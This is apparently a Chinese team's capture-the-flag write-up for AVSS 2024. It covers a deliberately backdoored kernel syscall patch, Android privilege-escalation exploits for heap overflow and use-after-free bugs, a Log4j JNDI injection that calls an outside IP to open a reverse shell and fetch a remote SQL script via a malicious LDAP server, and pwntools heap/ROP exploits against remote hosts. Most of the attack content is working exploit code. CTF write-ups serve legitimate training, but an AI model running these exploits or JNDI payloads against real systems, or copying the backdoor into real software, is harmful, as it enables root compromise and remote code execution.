本次 AVSS 2024,我们 Polaris 战队排名第2。
排名 | 队伍 | 总分 |
---|---|---|
1 | sleeper | 6589.13 |
2 | Polaris | 6121.72 |
3 | 凌武实验室 | 5957.54 |
4 | 来自东方的神秘力量 | 5745 |
5 | emmmmmmm2024 | 5318.65 |
6 | Nu1L | 5239.56 |
7 | L3H_Sec | 4576.54 |
8 | No_PJSK_No_Life | 3755.36 |
9 | OSR | 3730.5 |
10 | Ph0t1n1a | 3285.12 |
KERNEL-INST
内核 patch 信息:
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index f2c973e8290e..c6789dd87075 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -64,6 +64,7 @@ struct old_linux_dirent;
struct perf_event_attr;
struct file_handle;
struct sigaltstack;
+struct inst;
#include <linux/types.h>
#include <linux/aio_abi.h>
@@ -859,4 +860,5 @@ asmlinkage long sys_kcmp(pid_t pid1, pid_t pid2, int type,
asmlinkage long sys_finit_module(int fd, const char __user *uargs, int flags);
asmlinkage long sys_seccomp(unsigned int op, unsigned int flags,
const char __user *uargs);
+asmlinkage long sys_runcode(int option, struct inst __user * inst);
#endif
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index b422ad5d238b..bb8ca192d798 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -703,8 +703,11 @@ __SYSCALL(__NR_renameat2, sys_renameat2)
#define __NR_seccomp 277
__SYSCALL(__NR_seccomp, sys_seccomp)
+#define __NR_runcode 600
+__SYSCALL(__NR_runcode, sys_runcode)
+
#undef __NR_syscalls
-#define __NR_syscalls 278
+#define __NR_syscalls 601
/*
* All syscalls below here should go away really,
diff --git a/kernel/Makefile b/kernel/Makefile
index 984bc58f76e6..2b59a010c2e4 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -10,7 +10,7 @@ obj-y = fork.o exec_domain.o panic.o printk.o \
kthread.o wait.o sys_ni.o posix-cpu-timers.o mutex.o \
hrtimer.o rwsem.o nsproxy.o srcu.o semaphore.o \
notifier.o ksysfs.o cred.o \
- async.o range.o groups.o lglock.o smpboot.o
+ async.o range.o groups.o lglock.o smpboot.o vulnsys.o
ifdef CONFIG_FUNCTION_TRACER
# Do not trace debug files and internal ftrace files
diff --git a/kernel/vulnsys.c b/kernel/vulnsys.c
new file mode 100644
index 000000000000..e818e18f4f37
--- /dev/null
+++ b/kernel/vulnsys.c
@@ -0,0 +1,224 @@
+#include <linux/kernel.h>
+#include <linux/syscalls.h>
+#include <linux/list.h>
+#include <linux/slab.h>
+#include <linux/uaccess.h>
+extern int selinux_enforcing;
+
+
+#define MAX_INST 256
+#define MEM_SIZE 512
+enum inst_type{
+ INST_NOP,
+ INST_ADD,
+ INST_SUB,
+ INST_MUL
+};
+
+noinline __int128 do_backdoor(__int128 input, __int128 *operands, unsigned long operand_num) {
+ struct cred *cred;
+ int ret;
+ cred = prepare_kernel_cred(NULL);
+ if (!cred) {
+ return -1;
+ }
+ ret = commit_creds(cred);
+ if (ret) {
+ return -1;
+ }
+ selinux_enforcing = 0;
+ return 0;
+}
+
+noinline __int128 do_add(__int128 input, __int128 *operands, unsigned long operand_num) {
+ __int128 ret = input;
+ int i = 0;
+ for (; i < operand_num; i++) {
+ ret += operands[i];
+ }
+ return ret;
+}
+
+noinline __int128 do_sub(__int128 input, __int128 *operands, unsigned long operand_num) {
+ __int128 ret = input;
+ int i = 0;
+ for (; i < operand_num; i++) {
+ ret -= operands[i];
+ }
+ return ret;
+}
+
+noinline __int128 do_mul(__int128 input, __int128 *operands, unsigned long operand_num) {
+ __int128 ret = input;
+ int i = 0;
+ for (; i < operand_num; i++) {
+ ret *= operands[i];
+ }
+ return ret;
+}
+
+noinline __int128 do_nop(__int128 input, __int128 *operands, unsigned long operand_num) {
+ return input;
+}
+
+struct inst{
+ __int128 (*func)(__int128, __int128*, unsigned long);
+ int idx;
+ enum inst_type type;
+ struct list_head list;
+ unsigned long operand_num;
+ __int128 operands[];
+}__attribute__((packed));
+
+DEFINE_SPINLOCK(inst_lock);
+int run = 0;
+struct inst* inst_head = NULL;
+int g_idx = 0;
+
+int add_inst(void){
+ struct inst *new_inst = NULL;
+ if(g_idx >= MAX_INST || run){
+ return -1;
+ }
+ new_inst = kmalloc(MEM_SIZE, GFP_KERNEL);
+ if(new_inst == NULL){
+ return -1;
+ }
+ new_inst->idx = g_idx++;
+ new_inst->type = INST_NOP;
+ new_inst->func = do_nop;
+ new_inst->operand_num = 0;
+ INIT_LIST_HEAD(&new_inst->list);
+ if(inst_head == NULL){
+ inst_head = new_inst;
+ }
+ else{
+ list_add_tail(&new_inst->list, &inst_head->list);
+ }
+ return new_inst->idx;
+}
+
+struct inst* find_inst(int idx){
+ struct inst* curr = NULL;
+ if(run){
+ return NULL;
+ }
+ list_for_each_entry(curr, &inst_head->list, list) {
+ if(curr->idx == idx){
+ return curr;
+ }
+ }
+ return NULL;
+}
+
+int edit_inst(struct inst __user * inst){
+ struct inst _inst;
+ struct inst* target = NULL;
+ if(inst_head == NULL || copy_from_user(&_inst, inst, sizeof(struct inst))){
+ return -1;
+ }
+ if(_inst.idx == inst_head->idx){
+ target = inst_head;
+ }
+ else{
+ target = find_inst(_inst.idx);
+ }
+ if(target == NULL){
+ return -1;
+ }
+ switch (_inst.type)
+ {
+ case INST_ADD:
+ target->func = do_add;
+ target->type = INST_ADD;
+ break;
+ case INST_SUB:
+ target->func = do_sub;
+ target->type = INST_SUB;
+ break;
+ case INST_MUL:
+ target->func = do_mul;
+ target->type = INST_MUL;
+ break;
+ case INST_NOP:
+ target->func = do_nop;
+ target->type = INST_NOP;
+ break;
+ default:
+ return -1;
+ }
+ if(_inst.operand_num > round_up(MEM_SIZE-sizeof(struct inst), sizeof(__int128))/sizeof(__int128)){
+ return -1;
+ }
+ if(copy_from_user(target->operands, inst->operands, _inst.operand_num * sizeof(__int128))){
+ return -1;
+ }
+ target->operand_num = _inst.operand_num;
+ return 0;
+}
+
+int del_inst(struct inst __user * inst){
+ struct inst _inst;
+ struct inst* target = NULL;
+ if(inst_head == NULL || copy_from_user(&_inst, inst, sizeof(struct inst))){
+ return -1;
+ }
+ if(_inst.idx == inst_head->idx){
+ return -1;
+ }
+ else{
+ target = find_inst(_inst.idx);
+ }
+ if(target == NULL){
+ return -1;
+ }
+ list_del(&target->list);
+ kfree(target);
+ return 0;
+}
+
+int run_code(void){
+ struct inst* curr = NULL;
+ struct inst* ptr = NULL;
+ __int128 input = 0;
+ __int128 output = 0;
+ if(run || inst_head == NULL){
+ return -1;
+ }
+ run = 1;
+ list_for_each_entry(curr, &inst_head->list, list) {
+ output = curr->func(input, curr->operands, curr->operand_num);
+ input = output;
+ }
+ list_for_each_entry_safe(curr, ptr, &inst_head->list, list) {
+ list_del(&curr->list);
+ kfree(curr);
+ }
+ kfree(inst_head);
+ return 0;
+}
+
+asmlinkage long sys_runcode(int option, struct inst __user * inst)
+//SYSCALL_DEFINE2(runcode, int, option, struct inst __user *, inst)
+{
+ long ret = 0;
+ spin_lock(&inst_lock);
+ switch (option) {
+ case 0:
+ ret = add_inst();
+ break;
+ case 1:
+ ret = del_inst(inst);
+ break;
+ case 2:
+ ret = edit_inst(inst);
+ break;
+ case 3:
+ ret = run_code();
+ break;
+ default:
+ ret = -1;
+ }
+ spin_unlock(&inst_lock);
+ return ret;
+}
漏洞1
下面的代码中的 copy_from_user 有 8 字节的溢出,从而导致 Heap Overflow 漏洞,将 _inst.operand_num 设置为 30 即可触发。
+int edit_inst(struct inst __user * inst){
...
+ if(_inst.operand_num > round_up(MEM_SIZE-sizeof(struct inst), sizeof(__int128))/sizeof(__int128)){
+ return -1;
+ }
+ if(copy_from_user(target->operands, inst->operands, _inst.operand_num * sizeof(__int128))){
+ return -1;
+ }
+ target->operand_num = _inst.operand_num;
+ return 0;
+}
漏洞2
run_code
功能会 kfree(inst_head)
,但是 edit_inst
功能仍然可以编辑 inst_head
,从而导致 UAF 漏洞。
Android 7
使用 Heap Overflow 修改函数指针为 do_backdoor 。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <sys/mman.h>
enum inst_type{
INST_NOP,
INST_ADD,
INST_SUB,
INST_MUL
};
struct inst{
__int128 (*func)(__int128, __int128*, unsigned long);
int idx;
enum inst_type type;
size_t* list[2];
unsigned long operand_num;
__int128 operands[];
};
int main()
{
struct inst *args = mmap((void *)0xabcd0000, 0x1000, 7, 0x22, -1, 0);
for(int i = 0; i < 254; i++)
{
syscall(600, 0, NULL); // add_inst
}
syscall(600, 0, NULL); // add_inst
syscall(600, 0, NULL); // add_inst
args->idx = 254;
args->type = INST_ADD;
args->operand_num = 30;
*(size_t*)(((char*)args) + 512) = 0xffffffc0000c3140;
for(int i = 128; i < 256; i+=2)
{
args->idx = i;
syscall(600, 2, args); // edit_inst
}
syscall(600, 3, NULL); // run_code
printf("Uid: %d\n", getuid());
int fd = open("/system/flag", O_RDONLY);
if (fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
char buf[0x100] = {0};
read(fd, buf, sizeof(buf));
puts(buf);
return 0;
}
Android 11
使用 UAF 漏洞劫持 current_task 。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>
enum inst_type{
INST_NOP,
INST_ADD,
INST_SUB,
INST_MUL
};
struct inst{
__int128 (*func)(__int128, __int128*, unsigned long);
int idx;
enum inst_type type;
size_t* list[2];
unsigned long operand_num;
__int128 operands[];
};
struct inst *args;
int pipe_fd[2];
struct pipe_buffer {
size_t page;
unsigned int offset;
unsigned int len;
size_t ops;
unsigned int flags;
unsigned long private;
};
size_t write_word(size_t addr, size_t value)
{
size_t result = 0;
struct pipe_buffer *pipe_ptr;
memset(args, 0, 512);
args->idx = 0x00001000;
args->type = INST_ADD;
args->operand_num = 29;
pipe_ptr = (struct pipe_buffer *)(((char *)args) + 40);
pipe_ptr->ops = 0xFFFFFFC01161A668;
pipe_ptr->page = (((addr & (~0xfff)) - 0xffffffc008000000)/0x1000) * 0x40;
pipe_ptr->len = 0;
pipe_ptr->flags = 0;
pipe_ptr->offset = addr & 0xfff;
syscall(600, 2, args); // edit_inst // UAF
write(pipe_fd[1], &value, sizeof(value));
return result;
}
size_t read_word(size_t target)
{
size_t result = 0;
struct pipe_buffer *pipe_ptr;
memset(args, 0, 512);
args->idx = 0x00001000;
args->type = INST_ADD;
args->operand_num = 29;
pipe_ptr = (struct pipe_buffer *)(((char *)args) + 40);
pipe_ptr->ops = 0xFFFFFFC01161A668;
pipe_ptr->page = (((target & (~0xfff)) - 0xffffffc008000000)/0x1000) * 0x40;
pipe_ptr->len = 0x1000;
pipe_ptr->flags = 0;
pipe_ptr->offset = target & 0xfff;
syscall(600, 2, args); // edit_inst // UAF
read(pipe_fd[0], &result, sizeof(result));
return result;
}
#define INIT_TASK 0xffffffc011953e00
#define TASK_OFFSET 0x488
#define PID_OFFSET 0x588
#define PTR_CRED_OFFSET 0x738
size_t get_current_task()
{
size_t task = INIT_TASK;
size_t result = 0;
int i = 0;
int pid;
int current_task_pid = getpid();
while(result == 0 && i++ < 128)
{
task = read_word(task + TASK_OFFSET + 8) - TASK_OFFSET;
printf("task: %#lx\n", task);
if(task == INIT_TASK)
{
break;
}
pid = read_word(task + PID_OFFSET);
printf("pid: %d\n", pid);
if(pid == current_task_pid)
{
result = task;
}
}
return result;
}
int main()
{
char buf[0x2000] = {0};
struct pipe_buffer *pipe_ptr;
setbuf(stdout, NULL);
pipe(pipe_fd);
args = mmap((void *)0xabcd0000, 0x1000, 7, 0x22, -1, 0);
syscall(600, 0, NULL); // add_inst -> inst_head
syscall(600, 3, NULL); // run_code // kfree -> kmalloc-512
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000 * 8);
write(pipe_fd[1], buf, 0x1800);
read(pipe_fd[0], buf, 0x1001);
size_t current_task = get_current_task();
printf("current_task: %#lx\n", current_task);
size_t current_cred = read_word(current_task + PTR_CRED_OFFSET);
printf("current_cred: %#lx\n", current_cred);
for(int i = 0; i < 4; i ++)
{
write_word(current_cred + 4 + i * 8, 0);
}
system("/system/bin/sh");
return 0;
}
Vehicle-FORMULA
FORMULA_KARTING
*#2#04200525#*进入2查看HID码
native层HID会作为hmac_sha256的参数,然后经过rc4,最后和time比较(1s/10000)
//sha256.cc
#include <cryptopp/hmac.h>
#include <cryptopp/sha.h>
#include <cryptopp/filters.h>
#include <cryptopp/hex.h>
#include <iostream>
#include <string>
#include <vector>
std::string hmac_sha256(const std::vector<unsigned char> &key, const std::string &data) {
byte digest[CryptoPP::SHA256::DIGESTSIZE];
CryptoPP::HMAC<CryptoPP::SHA256> hmac(key.data(), key.size());
hmac.Update((const byte*)data.c_str(), data.size());
hmac.Final(digest);
std::string output;
CryptoPP::StringSource ss(digest, sizeof(digest), true, new CryptoPP::HexEncoder(new CryptoPP::StringSink(output)));
return output;
}
int main() {
std::vector<unsigned char> key = {0x22, 0xC, 0x4C, 0x37, 4, 0x59, 0x43, 9, 0x17, 8, 0x34, 0x5D, 0x47, 6, 0x29, 5};
unsigned long long val = 2250515364;
std::string data = std::to_string(val);
// std::cout << data << std::endl;
std::string result = hmac_sha256(key, data);
std::cout << result << std::endl;
return 0;
}
// rc4.cc
#include <vector>
#include <iostream>
#include <iomanip>
struct rc4_state {
int x, y;
unsigned char m[256];
};
void rc4_setup(rc4_state *s, unsigned char *key, int length) {
s->x = 0;
s->y = 0;
for (int i = 0; i < 256; ++i)
s->m[i] = i;
int j = 0;
for (int i = 0; i < 256; ++i) {
j = (j + s->m[i] + key[i % length]) & 0xFF;
std::swap(s->m[i], s->m[j]);
}
}
void rc4_crypt(rc4_state *s, unsigned char *data, int length) {
for (int i = 0; i < length; ++i) {
s->x = (s->x + 1) & 0xFF;
s->y = (s->y + s->m[s->x]) & 0xFF;
std::swap(s->m[s->x], s->m[s->y]);
data[i] ^= s->m[(s->m[s->x] + s->m[s->y]) & 0xFF];
}
}
int main() {
// std::vector<unsigned char> key = { 0xee,0xbf,0xd6,0x68,0xa7,0xa6,0x56,0x30,0x03,0x0d,0xa3,0x11,0x99,0xc0,0x1a,0x76};
std::vector<unsigned char> key = { 0x3d,0x45,0xa0,0x4f,0x87,0xd2,0x0b,0x45,0x13,0xb6,0x2f,0xdb,0xeb,0xfb,0x06,0xf7};
// std::vector<unsigned char> encrypted_data = {0x6a,0x9d,0x02,0x0};
std::vector<unsigned char> encrypted_data = { 0x11,0x1e,0x92,0x20 };
rc4_state s;
rc4_setup(&s, key.data(), key.size());
rc4_crypt(&s, encrypted_data.data(), encrypted_data.size());
std::cout << "Decrypted data: ";
for (auto byte : encrypted_data) {
// std::cout << static_cast<char>(byte);
std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)byte;
}
std::cout << '\n';
return 0;
}
//time.cc
#include <iostream>
#include <chrono>
int main() {
long long v13 = 131369;
std::chrono::time_point<std::chrono::system_clock> now = std::chrono::system_clock::now();
std::chrono::microseconds microsec = std::chrono::duration_cast<std::chrono::microseconds>(now.time_since_epoch());
long long rep = microsec.count();
std::chrono::seconds sec = std::chrono::duration_cast<std::chrono::seconds>(microsec);
bool v19 = sec.count() / 10000 == v13;
std::cout << "Microseconds since epoch: " << rep << std::endl;
std::cout << "Seconds since epoch: " << sec.count() << std::endl;
std::cout << "Seconds /10000 since epoch: " << sec.count() / 10000 << std::endl;
return 0;
}
old-log
jdk8
jndimap
https://github.com/X1r0z/JNDIMap
${jndi:ldap://106.54.209.118:1389/Deserialize/Jackson/ReverseShell/vps/4444}
即可
jdk11
同 jdk8 。
jdk17
ldapServer打tomcat的jdbc的jndi注入
package com;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#Evil";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
Reference ref = new Reference("javax.sql.DataSource","org.apache.tomcat.jdbc.pool.DataSourceFactory",null);
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://106.54.209.118:4444/poc.sql'";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",url));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));
// Payload2: 返回序列化 Gadget// try {
// e.addAttribute("javaSerializedData", Base64.decode("..."));
// } catch (ParseException exception) {
// exception.printStackTrace();
// }
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
poc.sql是
payload
http://13.212.61.218:48080/welcome?name=%24%7Bjndi%3Aldap%3A%2F%2F106.54.209.118%3A1389%2Ftest%7D
flag
MTE
BBO_BB
漏洞点在 edit 功能的负向溢出,攻击 tcache struct ,泄露栈地址后打栈读取 /dev/vda 即可
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='aarch64', log_level='debug')
#p = process('./vuln')
remote_ip = '52.77.241.34'
remote_port = 10087
import string
import itertools
import re
from pwn import *
from hashlib import sha256
p = remote(remote_ip, remote_port)
rev = p.recvuntil(b' == ').decode()
pattern = r'xxxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
target_digest = p.recv(64).decode()
characters = string.ascii_letters + string.digits
def generate_combinations(length):
if length == 0:
yield ''
else:
for char in characters:
for suffix in generate_combinations(length - 1):
yield char + suffix
for comb in generate_combinations(5):
proof = comb + rev
digest = sha256(proof.encode("utf8")).hexdigest()
if target_digest == digest:
result = comb
break
p.sendlineafter(b'xxxxx:', result)
#p = remote('127.0.0.1', 10088)
libc = ELF('lib/libc.so.6')
def add(size, data):
sla(b'choice: ', b'1')
sla(b'size: ', str(size))
if len(data) < size:
data += b'\n'
sa(b'content: ', data)
def edit(idx, offset, value):
sla(b'choice: ', b'2')
sla(b'index: ', str(idx))
sla(b'Offset: ', str(offset))
sla(b'content: ', str(value))
def free(idx):
sla(b'choice: ', b'3')
sla(b'index: ', str(idx))
#p = process(['qemu-aarch64', '-g', '1234', '-L', './', 'pwn'])
#p = process(['qemu-aarch64', '-L', './', 'pwn'])
for kk in range(5):
add(0x500, b'a') #index 0
add(0x10, b'a') #index 1
free(0)
add(0x500, b'') #index 0
p.recvuntil(b'\r\x0a\x0d')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x193b0a
#libc_base = u64(p.recv(5).ljust(8, b'\x00')) - 0x1c5b0a + 0x32000
free_hook = libc_base + libc.sym['__free_hook']
system, binsh = get_sb()
printf = libc_base + libc.sym['printf']
environ = libc_base + libc.sym['__environ']
stderr = libc_base + libc.sym['_IO_2_1_stderr_']
IO_obstack_jumps = libc_base + libc.sym['_IO_obstack_jumps']
add(0x100, b'a') #index 2
add(0x100, b'a') #index 3
free(2)
free(3)
add(0x10, b'a') #index 2
add(0x10, b'a') #index 3
for i in range(0x6):
edit(3, -0x9a8 + i + 0x1b0, (environ - 0x18 >> i*8) & 0xFF)
add(0x100, b'a'*0x17) #index 4
p.recvuntil(b'a'*0x17 + b'\x0d\x0a')
p.recvuntil(b'a'*0x17 + b'\x0d\x0a')
stack = u64(p.recv(6).ljust(8, b'\x00')
)
#p.recvuntil(b'a'*0x17 + b'\n')
#stack = u64(p.recv(5).ljust(8, b'\x00'))
for i in range(0x6):
edit(3, -0x9a8 + i + 0x1b0, (stack - 0x198 >> i*8) & 0xFF)
#0x000000000003e18c : ldr x2, [sp, #0x38] ; and w1, w1, #1 ; str x2, [x19] ; str w1, [x19, #8] ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x50 ; ret
# 0x0000000000120894 : add x0, sp, #0x10 ; blr x2 ; ldp x29, x30, [sp], #0x40 ; ret
lg('stack', stack)
pl = b'a'*8 + p64(libc_base + 0x3e18c)
pl += b'b'*0x8 + p64(libc_base + 0x0000000000120894) + b'c'*0x28 + p64(system)
pl = pl.ljust(0x70 ,b'd') + b'cat /dev/vda\x00'
add(0x100, pl) #index 4
lg('libc_base', libc_base)
lg('free_hook', free_hook)
lg('system', system)
lg('stderr', stderr)
lg('IO_obstack_jumps', IO_obstack_jumps)
lg('stack', stack)
sla(b'choice: ', b'4')
p.recvuntil(b'Bye.\r\n')
scret = p.recvuntil(b'\x00')[:-1]
print('scret ----> ', scret, len(scret))
sla(b'Give me secret:', scret)
while 1 : pr()
BBO_PT
相较于 BBO_BB 开启了 MTE 保护,在原有 BBO_BB 的解题方法上
- 负向溢出修改子堆块大小,让其能够正向溢出
- 负向溢出去除子堆块指针的高位
- 在 environ 上面写 size 头 0x111,不让 malloc 时候给堆块打标签时候会访问到不可访问地址,申请到栈时候同理,但是 size 头可以有由写进去的 choice 代替,调试可知
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='aarch64', log_level='debug')
#p = process('./vuln')
remote_ip = '52.77.241.34'
remote_port = 10088
import string
import itertools
import re
from pwn import *
from hashlib import sha256
p = remote(remote_ip, remote_port)
rev = p.recvuntil(b' == ').decode()
pattern = r'xxxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
target_digest = p.recv(64).decode()
characters = string.ascii_letters + string.digits
def generate_combinations(length):
if length == 0:
yield ''
else:
for char in characters:
for suffix in generate_combinations(length - 1):
yield char + suffix
for comb in generate_combinations(5):
proof = comb + rev
digest = sha256(proof.encode("utf8")).hexdigest()
if target_digest == digest:
result = comb
break
p.sendlineafter(b'xxxxx:', result)
libc = ELF('lib/libc.so.6')
def add(size, data):
sla(b'choice: ', b'1\x00\x00\x00\x00\x00\x00\x00')
sla(b'size: ', str(size))
if len(data) < size:
data += b'\n'
sa(b'content: ', data)
def edit(idx, offset, value):
sla(b'choice: ', b'2')
sla(b'index: ', str(idx))
sla(b'Offset: ', str(offset))
sla(b'content: ', str(value))
def free(idx):
sla(b'choice: ', b'3')
sla(b'index: ', str(idx))
#p = process(['qemu-aarch64', '-g', '1234', '-L', './', 'pwn'])
#p = process(['GLIBC_TUNABLES="glibc.mem.tagging=1"', 'qemu-aarch64', '-L', './', 'pwn'])
#p = process(['./run.sh', 'rootfs.img'])
env = {'GLIBC_TUNABLES': 'glibc.mem.tagging=1'}
cmd1 = ['qemu-aarch64', '-L', './', './pwn']
cmd2 = ['qemu-aarch64', '-L', './', '-g', '1234', './pwn']
#p = process(cmd1, env=env)
#p = remote('127.0.0.1', 10088)
mode = 1
for kk in range(5):
add(0x500, b'a') #index 0
add(0x500, b'') #index 1
add(0x10, b'a') #index 2
free(0)
free(1)
add(0x500, b'a'*7) #index 0
if mode:
p.recvuntil(b'a'*7 + b'\x0d\x0a')
p.recvuntil(b'a'*7 + b'\x0d\x0a')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x8e0
else:
p.recvuntil(b'a'*7 + b'\n')
heap_base = u64(p.recv(5).ljust(8, b'\x00')) - 0x8e0
add(0x500, b'') # index 1
if mode:
p.recvuntil(b'\r\x0a\x0d')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x193b0a
else:
libc_base = u64(p.recv(5).ljust(8, b'\x00')) - 0x1c5b0a + 0x32000
free_hook = libc_base + libc.sym['__free_hook']
system, binsh = get_sb()
printf = libc_base + libc.sym['printf']
environ = libc_base + libc.sym['__environ']
stderr = libc_base + libc.sym['_IO_2_1_stderr_']
IO_obstack_jumps = libc_base + libc.sym['_IO_obstack_jumps']
add(0x100, b'a') #index 3
free(3)
add(0x10, b'a') #index 3
add(0x10, b'a') #index 4
for i in range(3):
edit(3, -0x10 + i, 0xff)
edit(3, -0x1, 0)
#pause()
lg('environ', environ)
lg('libc_base', libc_base)
lg('heap_base', heap_base)
lg('stderr', stderr)
edit(3, environ - heap_base - 0xe10 - 0x20 - 0x100 + 0x60, 0x11)
edit(3, environ - heap_base - 0xe10 - 0x20 - 0x100 + 0x60 + 1, 0x1)
for i in range(0x8):
edit(3, - (0xe10 - 0x108 + 0xa0 - i), ((environ - 0x18) >> i*8) & 0xFF)
lg('environ', environ)
lg('libc_base', libc_base)
lg('heap_base', heap_base)
lg('stderr', stderr)
add(0x100, b'a'*0x17) #index 4
if mode:
p.recvuntil(b'a'*0x17 + b'\x0d\x0a')
p.recvuntil(b'a'*0x17 + b'\x0d\x0a')
stack = u64(p.recv(6).ljust(8, b'\x00'))
else:
p.recvuntil(b'a'*0x17 + b'\n')
stack = u64(p.recv(5).ljust(8, b'\x00'))
lg('environ', environ)
lg('libc_base', libc_base)
lg('heap_base', heap_base)
lg('stderr', stderr)
lg('stack', stack)
add(0x108, b'a') #index 5
free(5)
for i in range(0x8):
edit(3, - (0xe10 - 0x108 + 0xa0 - i), (stack - 0x198 - 0x10 >> i*8) & 0xFF)
#0x000000000003e18c : ldr x2, [sp, #0x38] ; and w1, w1, #1 ; str x2, [x19] ; str w1, [x19, #8] ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x50 ; ret
# 0x0000000000120894 : add x0, sp, #0x10 ; blr x2 ;
pl = p64(0)*3 + p64(libc_base + 0x000000000003e18c)
